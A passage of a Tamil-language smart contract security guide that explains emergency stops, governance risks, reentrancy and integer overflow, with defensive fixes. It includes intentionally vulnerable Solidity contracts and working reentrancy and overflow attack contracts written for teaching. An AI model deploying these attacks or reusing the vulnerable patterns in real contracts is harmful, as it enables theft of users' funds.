ஒப்பந்தம் அவசரகால நிறுத்தத்தைச் செயல்படுத்தியவுடன், சில செயல்பாடுகளை அழைக்க முடியாது. உலகளாவிய மாறியைக் குறிக்கும் மாற்றியமைப்பானில் தேர்ந்தெடுக்கப்பட்ட செயல்பாடுகளை மூடுவதன் மூலம் இது அடையப்படுகிறது. ஒப்பந்தங்களில் இந்த வடிவத்தைச் செயல்படுத்துவதை விவரிக்கும் ஒரு எடுத்துக்காட்டு (opens in a new tab) கீழே உள்ளது:

1// இந்தக் குறியீடு தொழில்முறையாகத் தணிக்கை செய்யப்படவில்லை, மேலும் பாதுகாப்பு அல்லது துல்லியம் குறித்து எந்த வாக்குறுதியும் அளிக்கவில்லை. உங்கள் சொந்த ஆபத்தில் பயன்படுத்தவும்.
2
3contract EmergencyStop {
4
5    bool isStopped = false;
6
7    modifier stoppedInEmergency {
8        require(!isStopped);
9        _;
10    }
11
12    modifier onlyWhenStopped {
13        require(isStopped);
14        _;
15    }
16
17    modifier onlyAuthorized {
18        // இங்கே msg.sender-இன் அங்கீகாரத்தை சரிபார்க்கவும்
19        _;
20    }
21
22    function stopContract() public onlyAuthorized {
23        isStopped = true;
24    }
25
26    function resumeContract() public onlyAuthorized {
27        isStopped = false;
28    }
29
30    function deposit() public payable stoppedInEmergency {
31        // வைப்பு தர்க்கம் இங்கே நடக்கிறது
32    }
33
34    function emergencyWithdraw() public onlyWhenStopped {
35        // அவசரகால திரும்பப் பெறுதல் இங்கே நடக்கிறது
36    }
37}
அனைத்தையும் காட்டு

இந்த எடுத்துக்காட்டு அவசரகால நிறுத்தங்களின் அடிப்படை அம்சங்களைக் காட்டுகிறது:

isStopped என்பது ஒரு பூலியன் ஆகும், இது தொடக்கத்தில் false ஆகவும், ஒப்பந்தம் அவசரகாலப் பயன்முறையில் நுழையும் போது true ஆகவும் மதிப்பிடப்படுகிறது.
onlyWhenStopped மற்றும் stoppedInEmergency ஆகிய செயல்பாட்டு மாற்றியமைப்பான்கள் isStopped மாறியைச் சரிபார்க்கின்றன. ஒப்பந்தம் பாதிக்கப்படக்கூடியதாக இருக்கும்போது அணுக முடியாததாக இருக்க வேண்டிய செயல்பாடுகளைக் கட்டுப்படுத்த stoppedInEmergency பயன்படுத்தப்படுகிறது (எ.கா., deposit()). இந்தச் செயல்பாடுகளுக்கான அழைப்புகள் வெறுமனே திரும்பப் பெறப்படும்.

அவசர காலத்தில் அழைக்கப்பட வேண்டிய செயல்பாடுகளுக்கு onlyWhenStopped பயன்படுத்தப்படுகிறது (எ.கா., emergencyWithdraw()). இத்தகைய செயல்பாடுகள் நிலைமையைத் தீர்க்க உதவும், எனவே அவை "கட்டுப்படுத்தப்பட்ட செயல்பாடுகள்" பட்டியலிலிருந்து விலக்கப்பட்டுள்ளன.

அவசரகால நிறுத்தச் செயல்பாட்டைப் பயன்படுத்துவது உங்கள் ஸ்மார்ட் ஒப்பந்தத்தில் உள்ள தீவிரமான பாதிப்புகளைச் சமாளிக்க ஒரு பயனுள்ள தற்காலிகத் தீர்வை வழங்குகிறது. இருப்பினும், சுயநலக் காரணங்களுக்காக டெவலப்பர்கள் அதைச் செயல்படுத்த மாட்டார்கள் என்று பயனர்கள் நம்ப வேண்டிய அவசியத்தை இது அதிகரிக்கிறது. இதற்காக, அவசரகால நிறுத்தத்தின் கட்டுப்பாட்டை ஆன்செயின் வாக்களிப்பு வழிமுறை, டைம்லாக் (timelock) அல்லது multisig வாலெட்டிலிருந்து ஒப்புதல் பெறுதல் ஆகியவற்றின் மூலம் பரவலாக்குவது சாத்தியமான தீர்வுகளாகும்.

நிகழ்வு கண்காணிப்பு

ஸ்மார்ட் ஒப்பந்தச் செயல்பாடுகளுக்கான அழைப்புகளைக் கண்காணிக்கவும் நிலை மாறிகளுக்கான மாற்றங்களைக் கண்காணிக்கவும் நிகழ்வுகள் (Events) (opens in a new tab) உங்களை அனுமதிக்கின்றன. சில தரப்பினர் பாதுகாப்பு-முக்கியமான நடவடிக்கையை எடுக்கும்போதெல்லாம் (எ.கா., நிதியைத் திரும்பப் பெறுதல்) ஒரு நிகழ்வை வெளியிடுவதற்கு உங்கள் ஸ்மார்ட் ஒப்பந்தத்தை நிரல் செய்வது சிறந்தது.

நிகழ்வுகளைப் பதிவுசெய்தல் மற்றும் அவற்றை ஆஃப்செயினில் (offchain) கண்காணிப்பது ஒப்பந்தச் செயல்பாடுகள் பற்றிய நுண்ணறிவுகளை வழங்குகிறது மற்றும் தீங்கிழைக்கும் செயல்களை விரைவாகக் கண்டறிய உதவுகிறது. இதன் பொருள் உங்கள் குழு ஹேக்குகளுக்கு விரைவாகப் பதிலளிக்க முடியும் மற்றும் செயல்பாடுகளை இடைநிறுத்துதல் அல்லது மேம்படுத்தலைச் செய்தல் போன்ற பயனர்கள் மீதான தாக்கத்தைத் தணிக்க நடவடிக்கை எடுக்க முடியும்.

உங்கள் ஒப்பந்தங்களுடன் யாராவது தொடர்பு கொள்ளும்போதெல்லாம் தானாகவே விழிப்பூட்டல்களை அனுப்பும் ஆயத்தக் கண்காணிப்புக் கருவியையும் நீங்கள் தேர்வு செய்யலாம். பரிவர்த்தனை அளவு, செயல்பாட்டு அழைப்புகளின் அதிர்வெண் அல்லது சம்பந்தப்பட்ட குறிப்பிட்ட செயல்பாடுகள் போன்ற வெவ்வேறு தூண்டுதல்களின் அடிப்படையில் தனிப்பயன் விழிப்பூட்டல்களை உருவாக்க இந்தக் கருவிகள் உங்களை அனுமதிக்கும். எடுத்துக்காட்டாக, ஒரு பரிவர்த்தனையில் திரும்பப் பெறப்பட்ட தொகை ஒரு குறிப்பிட்ட வரம்பைத் தாண்டும்போது வரும் விழிப்பூட்டலை நீங்கள் நிரல் செய்யலாம்.

7. பாதுகாப்பான ஆளுமை அமைப்புகளை வடிவமைக்கவும்

முக்கிய ஸ்மார்ட் ஒப்பந்தங்களின் கட்டுப்பாட்டைச் சமூக உறுப்பினர்களிடம் ஒப்படைப்பதன் மூலம் உங்கள் பயன்பாட்டைப் பரவலாக்க நீங்கள் விரும்பலாம். இந்த வழக்கில், ஸ்மார்ட் ஒப்பந்த அமைப்பில் ஒரு ஆளுமைத் தொகுதி (governance module) அடங்கும்—இது ஆன்செயின் ஆளுமை அமைப்பு மூலம் நிர்வாக நடவடிக்கைகளை அங்கீகரிக்கச் சமூக உறுப்பினர்களை அனுமதிக்கும் ஒரு வழிமுறையாகும். எடுத்துக்காட்டாக, ப்ராக்ஸி ஒப்பந்தத்தைப் புதிய செயலாக்கத்திற்கு மேம்படுத்துவதற்கான முன்மொழிவு டோக்கன் வைத்திருப்பவர்களால் வாக்களிக்கப்படலாம்.

பரவலாக்கப்பட்ட ஆளுமை பயனுள்ளதாக இருக்கும், குறிப்பாக இது டெவலப்பர்கள் மற்றும் இறுதிப் பயனர்களின் நலன்களைச் சீரமைக்கிறது. ஆயினும்கூட, ஸ்மார்ட் ஒப்பந்த ஆளுமை வழிமுறைகள் தவறாகச் செயல்படுத்தப்பட்டால் புதிய அபாயங்களை அறிமுகப்படுத்தலாம். ஒரு நம்பத்தகுந்த காட்சி என்னவென்றால், தாக்குபவர் ஒரு ஃபிளாஷ் கடனை (flash loan) எடுப்பதன் மூலம் மகத்தான வாக்குரிமையைப் பெற்று (வைத்திருக்கும் டோக்கன்களின் எண்ணிக்கையில் அளவிடப்படுகிறது) தீங்கிழைக்கும் முன்மொழிவைத் தள்ளுகிறார்.

ஆன்செயின் ஆளுமை தொடர்பான சிக்கல்களைத் தடுப்பதற்கான ஒரு வழி டைம்லாக்கைப் பயன்படுத்துவதாகும் (use a timelock) (opens in a new tab). ஒரு குறிப்பிட்ட அளவு நேரம் கடக்கும் வரை ஸ்மார்ட் ஒப்பந்தம் சில செயல்களைச் செயல்படுத்துவதை டைம்லாக் தடுக்கிறது. ஒவ்வொரு டோக்கனும் எவ்வளவு காலம் பூட்டப்பட்டுள்ளது என்பதன் அடிப்படையில் "வாக்களிக்கும் எடையை" (voting weight) ஒதுக்குவது அல்லது தற்போதைய தொகுதிக்குப் பதிலாக ஒரு வரலாற்று காலத்தில் (எடுத்துக்காட்டாக, கடந்த காலத்தில் 2-3 தொகுதிகள்) ஒரு முகவரியின் வாக்குரிமையை அளவிடுவது ஆகியவை பிற உத்திகளில் அடங்கும். இரண்டு முறைகளும் ஆன்செயின் வாக்குகளை மாற்றுவதற்கு வாக்குரிமையை விரைவாகக் குவிக்கும் சாத்தியத்தைக் குறைக்கின்றன.

பகிரப்பட்ட இணைப்புகளில் பாதுகாப்பான ஆளுமை அமைப்புகளை வடிவமைத்தல் (opens in a new tab), DAO-களில் வெவ்வேறு வாக்களிப்பு வழிமுறைகள் (opens in a new tab) மற்றும் DeFi-ஐப் பயன்படுத்தும் பொதுவான DAO தாக்குதல் திசையன்கள் (opens in a new tab) பற்றி மேலும் அறியலாம்.

8. குறியீட்டில் உள்ள சிக்கலைக் குறைந்தபட்சமாகக் குறைக்கவும்

பாரம்பரிய மென்பொருள் உருவாக்குநர்கள் KISS ("அதை எளிமையாக வைத்திருங்கள், முட்டாள்" - keep it simple, stupid) கொள்கையை நன்கு அறிவார்கள், இது மென்பொருள் வடிவமைப்பில் தேவையற்ற சிக்கலை அறிமுகப்படுத்துவதற்கு எதிராக அறிவுறுத்துகிறது. இது "சிக்கலான அமைப்புகள் சிக்கலான வழிகளில் தோல்வியடைகின்றன" மற்றும் விலையுயர்ந்த பிழைகளுக்கு அதிக வாய்ப்புள்ளது என்ற நீண்டகால சிந்தனையைப் பின்பற்றுகிறது.

ஸ்மார்ட் ஒப்பந்தங்கள் அதிக அளவிலான மதிப்பைக் கட்டுப்படுத்தும் திறன் கொண்டவை என்பதால், ஸ்மார்ட் ஒப்பந்தங்களை எழுதும்போது விஷயங்களை எளிமையாக வைத்திருப்பது மிகவும் முக்கியமானது. ஸ்மார்ட் ஒப்பந்தங்களை எழுதும்போது எளிமையை அடைவதற்கான ஒரு குறிப்பு, முடிந்தவரை OpenZeppelin Contracts (opens in a new tab) போன்ற ஏற்கனவே உள்ள நூலகங்களை (libraries) மீண்டும் பயன்படுத்துவதாகும். இந்த நூலகங்கள் டெவலப்பர்களால் விரிவாகத் தணிக்கை செய்யப்பட்டுச் சோதிக்கப்பட்டிருப்பதால், அவற்றைப் பயன்படுத்துவது புதிதாகப் புதிய செயல்பாட்டை எழுதுவதன் மூலம் பிழைகளை அறிமுகப்படுத்தும் வாய்ப்புகளைக் குறைக்கிறது.

சிறிய செயல்பாடுகளை எழுதுவது மற்றும் வணிகத் தர்க்கத்தைப் பல ஒப்பந்தங்களில் பிரிப்பதன் மூலம் ஒப்பந்தங்களை மட்டுப்படுத்தப்பட்டதாக (modular) வைத்திருப்பது மற்றொரு பொதுவான ஆலோசனையாகும். எளிமையான குறியீட்டை எழுதுவது ஸ்மார்ட் ஒப்பந்தத்தில் தாக்குதல் மேற்பரப்பைக் குறைப்பது மட்டுமல்லாமல், ஒட்டுமொத்த அமைப்பின் சரியான தன்மையைப் பற்றி நியாயப்படுத்துவதையும் சாத்தியமான வடிவமைப்புப் பிழைகளை முன்கூட்டியே கண்டறிவதையும் எளிதாக்குகிறது.

9. பொதுவான ஸ்மார்ட் ஒப்பந்தப் பாதிப்புகளுக்கு எதிராகப் பாதுகாக்கவும்

ரீஎன்ட்ரன்சி

EVM ஒத்திசைவை (concurrency) அனுமதிக்காது, அதாவது செய்தி அழைப்பில் ஈடுபட்டுள்ள இரண்டு ஒப்பந்தங்கள் ஒரே நேரத்தில் இயங்க முடியாது. ஒரு வெளிப்புற அழைப்பு அழைக்கும் ஒப்பந்தத்தின் செயலாக்கம் மற்றும் நினைவகத்தை அழைப்பு திரும்பும் வரை இடைநிறுத்துகிறது, அந்த நேரத்தில் செயலாக்கம் சாதாரணமாகத் தொடர்கிறது. இந்தச் செயல்முறையை மற்றொரு ஒப்பந்தத்திற்கு கட்டுப்பாட்டு ஓட்டத்தை (control flow) (opens in a new tab) மாற்றுவது என முறையாக விவரிக்கலாம்.

பெரும்பாலும் பாதிப்பில்லாதது என்றாலும், நம்பத்தகாத ஒப்பந்தங்களுக்குக் கட்டுப்பாட்டு ஓட்டத்தை மாற்றுவது ரீஎன்ட்ரன்சி போன்ற சிக்கல்களை ஏற்படுத்தலாம். அசல் செயல்பாட்டு அழைப்பு முடிவதற்கு முன்பு ஒரு தீங்கிழைக்கும் ஒப்பந்தம் பாதிக்கப்படக்கூடிய ஒப்பந்தத்திற்குத் திரும்ப அழைக்கும்போது ரீஎன்ட்ரன்சி தாக்குதல் நிகழ்கிறது. இந்த வகையான தாக்குதலை ஒரு எடுத்துக்காட்டுடன் சிறப்பாக விளக்கலாம்.

எவரும் ether-ஐ டெபாசிட் செய்யவும் திரும்பப் பெறவும் அனுமதிக்கும் எளிய ஸ்மார்ட் ஒப்பந்தத்தை ('Victim') கவனியுங்கள்:

1// இந்த ஒப்பந்தம் பாதிக்கப்படக்கூடியது. தயாரிப்பில் பயன்படுத்த வேண்டாம்
2
3contract Victim {
4    mapping (address => uint256) public balances;
5
6    function deposit() external payable {
7        balances[msg.sender] += msg.value;
8    }
9
10    function withdraw() external {
11        uint256 amount = balances[msg.sender];
12        (bool success, ) = msg.sender.call.value(amount)("");
13        require(success);
14        balances[msg.sender] = 0;
15    }
16}
அனைத்தையும் காட்டு

இந்த ஒப்பந்தம் பயனர்கள் முன்பு ஒப்பந்தத்தில் டெபாசிட் செய்த ETH-ஐத் திரும்பப் பெற அனுமதிக்க withdraw() செயல்பாட்டை வெளிப்படுத்துகிறது. திரும்பப் பெறுதலைச் செயலாக்கும்போது, ஒப்பந்தம் பின்வரும் செயல்பாடுகளைச் செய்கிறது:

பயனரின் ETH இருப்பைச் சரிபார்க்கிறது
அழைக்கும் முகவரிக்கு நிதியை அனுப்புகிறது
அவர்களின் இருப்பை 0 ஆக மீட்டமைக்கிறது, பயனரிடமிருந்து கூடுதல் திரும்பப் பெறுதல்களைத் தடுக்கிறது

Victim ஒப்பந்தத்தில் உள்ள withdraw() செயல்பாடு "சரிபார்ப்புகள்-தொடர்புகள்-விளைவுகள்" (checks-interactions-effects) வடிவத்தைப் பின்பற்றுகிறது. இது செயலாக்கத்திற்குத் தேவையான நிபந்தனைகள் பூர்த்தி செய்யப்பட்டுள்ளதா என்பதை சரிபார்க்கிறது (அதாவது, பயனருக்கு நேர்மறையான ETH இருப்பு உள்ளது) மற்றும் பரிவர்த்தனையின் விளைவுகளைப் பயன்படுத்துவதற்கு முன்பு (அதாவது, பயனரின் இருப்பைக் குறைத்தல்), அழைப்பாளரின் முகவரிக்கு ETH-ஐ அனுப்புவதன் மூலம் தொடர்பைச் செய்கிறது.

வெளிப்புறமாகச் சொந்தமான கணக்கிலிருந்து (EOA) withdraw() அழைக்கப்பட்டால், செயல்பாடு எதிர்பார்த்தபடி செயல்படும்: msg.sender.call.value() அழைப்பாளருக்கு ETH-ஐ அனுப்புகிறது. இருப்பினும், msg.sender என்பது ஒரு ஸ்மார்ட் ஒப்பந்தக் கணக்காக இருந்து withdraw()-ஐ அழைத்தால், msg.sender.call.value()-ஐப் பயன்படுத்தி நிதியை அனுப்புவது அந்த முகவரியில் சேமிக்கப்பட்டுள்ள குறியீட்டையும் இயங்கத் தூண்டும்.

ஒப்பந்த முகவரியில் பயன்படுத்தப்பட்ட குறியீடு இது என்று கற்பனை செய்து பாருங்கள்:

1 contract Attacker {
2    function beginAttack() external payable {
3        Victim(victim_address).deposit.value(1 ether)();
4        Victim(victim_address).withdraw();
5    }
6
7    function() external payable {
8        if (gasleft() > 40000) {
9            Victim(victim_address).withdraw();
10        }
11    }
12}
அனைத்தையும் காட்டு

இந்த ஒப்பந்தம் மூன்று விஷயங்களைச் செய்ய வடிவமைக்கப்பட்டுள்ளது:

மற்றொரு கணக்கிலிருந்து டெபாசிட்டை ஏற்கவும் (தாக்குபவரின் EOA ஆக இருக்கலாம்)
Victim ஒப்பந்தத்தில் 1 ETH-ஐ டெபாசிட் செய்யவும்
ஸ்மார்ட் ஒப்பந்தத்தில் சேமிக்கப்பட்டுள்ள 1 ETH-ஐத் திரும்பப் பெறவும்

உள்வரும் msg.sender.call.value-இலிருந்து மீதமுள்ள எரிவாயு (gas) 40,000-க்கு மேல் இருந்தால், Victim-இல் மீண்டும் withdraw()-ஐ அழைக்கும் மற்றொரு செயல்பாட்டை Attacker கொண்டுள்ளது என்பதைத் தவிர, இதில் எந்தத் தவறும் இல்லை. இது Attacker-க்கு Victim-க்குள் மீண்டும் நுழைந்து withdraw-இன் முதல் அழைப்பு முடிவதற்கு முன்பு அதிக நிதியைத் திரும்பப் பெறும் திறனை அளிக்கிறது. சுழற்சி இதுபோல் தெரிகிறது:

1- Attacker's EOA calls `Attacker.beginAttack()` with 1 ETH
2- `Attacker.beginAttack()` deposits 1 ETH into `Victim`
3- `Attacker` calls `withdraw() in `Victim`
4- `Victim` checks `Attacker`’s balance (1 ETH)
5- `Victim` sends 1 ETH to `Attacker` (which triggers the default function)
6- `Attacker` calls `Victim.withdraw()` again (note that `Victim` hasn’t reduced `Attacker`’s balance from the first withdrawal)
7- `Victim` checks `Attacker`’s balance (which is still 1 ETH because it hasn’t applied the effects of the first call)
8- `Victim` sends 1 ETH to `Attacker` (which triggers the default function and allows `Attacker` to reenter the `withdraw` function)
9- The process repeats until `Attacker` runs out of gas, at which point `msg.sender.call.value` returns without triggering additional withdrawals
10- `Victim` finally applies the results of the first transaction (and subsequent ones) to its state, so `Attacker`’s balance is set to 0
அனைத்தையும் காட்டு

சுருக்கம் என்னவென்றால், செயல்பாட்டுச் செயலாக்கம் முடியும் வரை அழைப்பாளரின் இருப்பு 0 ஆக அமைக்கப்படாததால், அடுத்தடுத்த அழைப்புகள் வெற்றியடையும் மற்றும் அழைப்பாளர் தங்கள் இருப்பைப் பல முறை திரும்பப் பெற அனுமதிக்கும். 2016 DAO ஹேக்கில் (opens in a new tab) நடந்தது போல, ஸ்மார்ட் ஒப்பந்தத்தின் நிதியை வடிகட்ட இந்த வகையான தாக்குதலைப் பயன்படுத்தலாம். ரீஎன்ட்ரன்சி சுரண்டல்களின் பொதுப் பட்டியல்கள் (opens in a new tab) காட்டுவது போல, ரீஎன்ட்ரன்சி தாக்குதல்கள் இன்றும் ஸ்மார்ட் ஒப்பந்தங்களுக்கு ஒரு முக்கியமான சிக்கலாக உள்ளன.

ரீஎன்ட்ரன்சி தாக்குதல்களை எவ்வாறு தடுப்பது

ரீஎன்ட்ரன்சியைச் சமாளிப்பதற்கான ஒரு அணுகுமுறை சரிபார்ப்புகள்-விளைவுகள்-தொடர்புகள் வடிவத்தைப் (checks-effects-interactions pattern) (opens in a new tab) பின்பற்றுவதாகும். இந்த வடிவம் செயல்பாடுகளின் செயலாக்கத்தை ஒரு வழியில் வரிசைப்படுத்துகிறது, அதாவது செயலாக்கத்தைத் தொடர்வதற்கு முன்பு தேவையான சரிபார்ப்புகளைச் செய்யும் குறியீடு முதலில் வருகிறது, அதைத் தொடர்ந்து ஒப்பந்த நிலையைக் கையாளும் குறியீடு, மற்ற ஒப்பந்தங்கள் அல்லது EOA-களுடன் தொடர்பு கொள்ளும் குறியீடு கடைசியாக வருகிறது.

கீழே காட்டப்பட்டுள்ள Victim ஒப்பந்தத்தின் திருத்தப்பட்ட பதிப்பில் சரிபார்ப்புகள்-விளைவு-தொடர்பு வடிவம் பயன்படுத்தப்படுகிறது:

1contract NoLongerAVictim {
2    function withdraw() external {
3        uint256 amount = balances[msg.sender];
4        balances[msg.sender] = 0;
5        (bool success, ) = msg.sender.call.value(amount)("");
6        require(success);
7    }
8}

இந்த ஒப்பந்தம் பயனரின் இருப்பில் ஒரு சரிபார்ப்பைச் செய்கிறது, withdraw() செயல்பாட்டின் விளைவுகளைப் பயன்படுத்துகிறது (பயனரின் இருப்பை 0 ஆக மீட்டமைப்பதன் மூலம்), மற்றும் தொடர்பைச் செய்யத் தொடர்கிறது (பயனரின் முகவரிக்கு ETH-ஐ அனுப்புதல்). இது வெளிப்புற அழைப்பிற்கு முன்பு ஒப்பந்தம் அதன் சேமிப்பகத்தைப் புதுப்பிப்பதை உறுதி செய்கிறது, முதல் தாக்குதலைச் செயல்படுத்திய ரீ-என்ட்ரன்சி நிபந்தனையை நீக்குகிறது. Attacker ஒப்பந்தம் இன்னும் NoLongerAVictim-க்குள் திரும்ப அழைக்கலாம், ஆனால் balances[msg.sender] 0 ஆக அமைக்கப்பட்டுள்ளதால், கூடுதல் திரும்பப் பெறுதல்கள் பிழையை எறியும்.

மற்றொரு விருப்பம் பரஸ்பர விலக்கு பூட்டைப் (mutual exclusion lock - பொதுவாக "mutex" என விவரிக்கப்படுகிறது) பயன்படுத்துவதாகும், இது ஒரு செயல்பாட்டு அழைப்பு முடியும் வரை ஒப்பந்தத்தின் நிலையின் ஒரு பகுதியை பூட்டுகிறது. செயல்பாடு செயல்படுத்துவதற்கு முன்பு true என அமைக்கப்பட்டு, அழைப்பு முடிந்ததும் false எனத் திரும்பும் பூலியன் மாறியைப் பயன்படுத்தி இது செயல்படுத்தப்படுகிறது. கீழே உள்ள எடுத்துக்காட்டில் காணப்படுவது போல, மியூடெக்ஸைப் பயன்படுத்துவது அசல் அழைப்பு இன்னும் செயலாக்கப்படும்போது சுழல்நிலை அழைப்புகளுக்கு (recursive calls) எதிராக ஒரு செயல்பாட்டைப் பாதுகாக்கிறது, இது ரீஎன்ட்ரன்சியைத் திறம்பட நிறுத்துகிறது.

1pragma solidity ^0.7.0;
2
3contract MutexPattern {
4    bool locked = false;
5    mapping(address => uint256) public balances;
6
7    modifier noReentrancy() {
8        require(!locked, "Blocked from reentrancy.");
9        locked = true;
10        _;
11        locked = false;
12    }
13    // இந்தச் செயல்பாடு ஒரு mutex மூலம் பாதுகாக்கப்படுகிறது, எனவே `msg.sender.call`-க்குள் இருந்து வரும் reentrant அழைப்புகளால் மீண்டும் `withdraw`-ஐ அழைக்க முடியாது.
14    // `return` அறிக்கை `true` என மதிப்பிடப்படுகிறது, ஆனால் modifier-இல் உள்ள `locked = false` அறிக்கையையும் மதிப்பிடுகிறது.
15    function withdraw(uint _amount) public payable noReentrancy returns(bool) {
16        require(balances[msg.sender] >= _amount, "No balance to withdraw.");
17
18        balances[msg.sender] -= _amount;
19        (bool success, ) = msg.sender.call{value: _amount}("");
20        require(success);
21
22        return true;
23    }
24}
அனைத்தையும் காட்டு

கணக்குகளுக்கு நிதியை அனுப்பும் "புஷ் பேமெண்ட்ஸ்" (push payments) அமைப்பிற்குப் பதிலாக, ஸ்மார்ட் ஒப்பந்தங்களிலிருந்து பயனர்கள் நிதியைத் திரும்பப் பெற வேண்டிய புல் பேமெண்ட்ஸ் (pull payments) (opens in a new tab) அமைப்பையும் நீங்கள் பயன்படுத்தலாம். இது அறியப்படாத முகவரிகளில் கவனக்குறைவாகக் குறியீட்டைத் தூண்டும் சாத்தியத்தை நீக்குகிறது (மேலும் சில சேவை மறுப்புத் தாக்குதல்களையும் (denial-of-service attacks) தடுக்கலாம்).

முழு எண் அண்டர்ஃப்ளோக்கள் மற்றும் ஓவர்ஃப்ளோக்கள் (Integer underflows and overflows)

ஒரு எண்கணிதச் செயல்பாட்டின் முடிவுகள் ஏற்றுக்கொள்ளக்கூடிய மதிப்புகளின் வரம்பிற்கு வெளியே விழும்போது முழு எண் ஓவர்ஃப்ளோ (integer overflow) ஏற்படுகிறது, இதனால் அது பிரதிநிதித்துவப்படுத்தக்கூடிய மிகக் குறைந்த மதிப்பிற்கு "உருளுகிறது" (roll over). எடுத்துக்காட்டாக, ஒரு uint8 2^8-1=255 வரையிலான மதிப்புகளை மட்டுமே சேமிக்க முடியும். 255-ஐ விட அதிக மதிப்புகளை விளைவிக்கும் எண்கணிதச் செயல்பாடுகள் ஓவர்ஃப்ளோ ஆகி uint-ஐ 0 ஆக மீட்டமைக்கும், இது காரில் உள்ள ஓடோமீட்டர் அதிகபட்ச மைலேஜை (999999) அடைந்தவுடன் 0 ஆக மீட்டமைக்கப்படுவதைப் போன்றது.

முழு எண் அண்டர்ஃப்ளோக்கள் (Integer underflows) இதே காரணங்களுக்காக நிகழ்கின்றன: ஒரு எண்கணிதச் செயல்பாட்டின் முடிவுகள் ஏற்றுக்கொள்ளக்கூடிய வரம்பிற்குக் கீழே விழுகின்றன. ஒரு uint8-இல் 0-ஐக் குறைக்க நீங்கள் முயற்சித்தீர்கள் என்று வைத்துக்கொள்வோம், முடிவு வெறுமனே பிரதிநிதித்துவப்படுத்தக்கூடிய அதிகபட்ச மதிப்பிற்கு (255) உருளும்.

முழு எண் ஓவர்ஃப்ளோக்கள் மற்றும் அண்டர்ஃப்ளோக்கள் இரண்டும் ஒப்பந்தத்தின் நிலை மாறிகளில் எதிர்பாராத மாற்றங்களுக்கு வழிவகுக்கும் மற்றும் திட்டமிடப்படாத செயலாக்கத்தை விளைவிக்கும். தவறான செயல்பாட்டைச் செய்ய ஸ்மார்ட் ஒப்பந்தத்தில் எண்கணித ஓவர்ஃப்ளோவை தாக்குபவர் எவ்வாறு பயன்படுத்திக் கொள்ளலாம் என்பதைக் காட்டும் எடுத்துக்காட்டு கீழே உள்ளது:

1pragma solidity ^0.7.6;
2
3// This contract is designed to act as a time vault.
4// User can deposit into this contract but cannot withdraw for at least a week.
5// User can also extend the wait time beyond the 1 week waiting period.
6
7/*
81. Deploy TimeLock
92. Deploy Attack with address of TimeLock
103. Call Attack.attack sending 1 ether. You will immediately be able to
11   withdraw your ether.
12
13What happened?
14Attack caused the TimeLock.lockTime to overflow and was able to withdraw
15before the 1 week waiting period.
16*/
17
18contract TimeLock {
19    mapping(address => uint) public balances;
20    mapping(address => uint) public lockTime;
21
22    function deposit() external payable {
23        balances[msg.sender] += msg.value;
24        lockTime[msg.sender] = block.timestamp + 1 weeks;
25    }
26
27    function increaseLockTime(uint _secondsToIncrease) public {
28        lockTime[msg.sender] += _secondsToIncrease;
29    }
30
31    function withdraw() public {
32        require(balances[msg.sender] > 0, "Insufficient funds");
33        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
34
35        uint amount = balances[msg.sender];
36        balances[msg.sender] = 0;
37
38        (bool sent, ) = msg.sender.call{value: amount}("");
39        require(sent, "Failed to send Ether");
40    }
41}
42
43contract Attack {
44    TimeLock timeLock;
45
46    constructor(TimeLock _timeLock) {
47        timeLock = TimeLock(_timeLock);
48    }
49
50    fallback() external payable {}
51
52    function attack() public payable {
53        timeLock.deposit{value: msg.value}();
54        /*
55        if t = current lock time then we need to find x such that
56        x + t = 2**256 = 0
57        so x = -t
58        2**256 = type(uint).max + 1
59        so x = type(uint).max + 1 - t
60        */
61        timeLock.increaseLockTime(
62            type(uint).max + 1 - timeLock.lockTime(address(this))
63        );
64        timeLock.withdraw();
65    }
66}
அனைத்தையும் காட்டு

முழு எண் அண்டர்ஃப்ளோக்கள் மற்றும் ஓவர்ஃப்ளோக்களை எவ்வாறு தடுப்பது

பதிப்பு 0.8.0 நிலவரப்படி, முழு எண் அண்டர்ஃப்ளோக்கள் மற்றும் ஓவர்ஃப்ளோக்களை விளைவிக்கும் குறியீட்டை Solidity கம்பைலர் நிராகரிக்கிறது. இருப்பினும், குறைந்த கம்பைலர் பதிப்பில் தொகுக்கப்பட்ட ஒப்பந்தங்கள் எண்கணிதச் செயல்பாடுகளை உள்ளடக்கிய செயல்பாடுகளில் சரிபார்ப்புகளைச் செய்ய வேண்டும் அல்லது அண்டர்ஃப்ளோ/ஓவர்ஃப்ளோவைச் சரிபார்க்கும் நூலகத்தைப் (எ.கா., SafeMath (opens in a new tab)) பயன்படுத்த வேண்டும்.

ஆரக்கிள் கையாளுதல் (Oracle manipulation)

ஆரக்கிள்கள் (Oracles) ஆஃப்செயின் தகவல்களைப் பெற்று, ஸ்மார்ட் ஒப்பந்தங்கள் பயன்படுத்துவதற்காக அவற்றை ஆன்செயினுக்கு அனுப்புகின்றன. ஆரக்கிள்கள் மூலம், மூலதனச் சந்தைகள் போன்ற ஆஃப்செயின் அமைப்புகளுடன் இயங்கக்கூடிய ஸ்மார்ட் ஒப்பந்தங்களை நீங்கள் வடிவமைக்கலாம், இது அவற்றின் பயன்பாட்டைப் பெரிதும் விரிவுபடுத்துகிறது.

ஆனால் ஆரக்கிள் சிதைக்கப்பட்டுத் தவறான தகவல்களை ஆன்செயினுக்கு அனுப்பினால், ஸ்மார்ட் ஒப்பந்தங்கள் தவறான உள்ளீடுகளின் அடிப்படையில் செயல்படும், இது சிக்கல்களை ஏற்படுத்தும். இது "ஆரக்கிள் சிக்கலின்" (oracle problem) அடிப்படையாகும், இது பிளாக்செயின் ஆரக்கிளிலிருந்து வரும் தகவல்கள் துல்லியமானவை, புதுப்பித்தவை மற்றும் சரியான நேரத்தில் இருப்பதை உறுதி செய்யும் பணியைப் பற்றியது.

ஒரு சொத்தின் ஸ்பாட் விலையைப் (spot price) பெறப் பரவலாக்கப்பட்ட பரிமாற்றம் போன்ற ஆன்செயின் ஆரக்கிளைப் பயன்படுத்துவது தொடர்புடைய பாதுகாப்புக் கவலையாகும். பரவலாக்கப்பட்ட நிதி (DeFi) துறையில் உள்ள கடன் வழங்கும் தளங்கள், பயனரின் பிணையத்தின் (collateral) மதிப்பைத் தீர்மானிக்கவும் அவர்கள் எவ்வளவு கடன் வாங்கலாம் என்பதைத் தீர்மானிக்கவும் இதை அடிக்கடி செய்கின்றன.

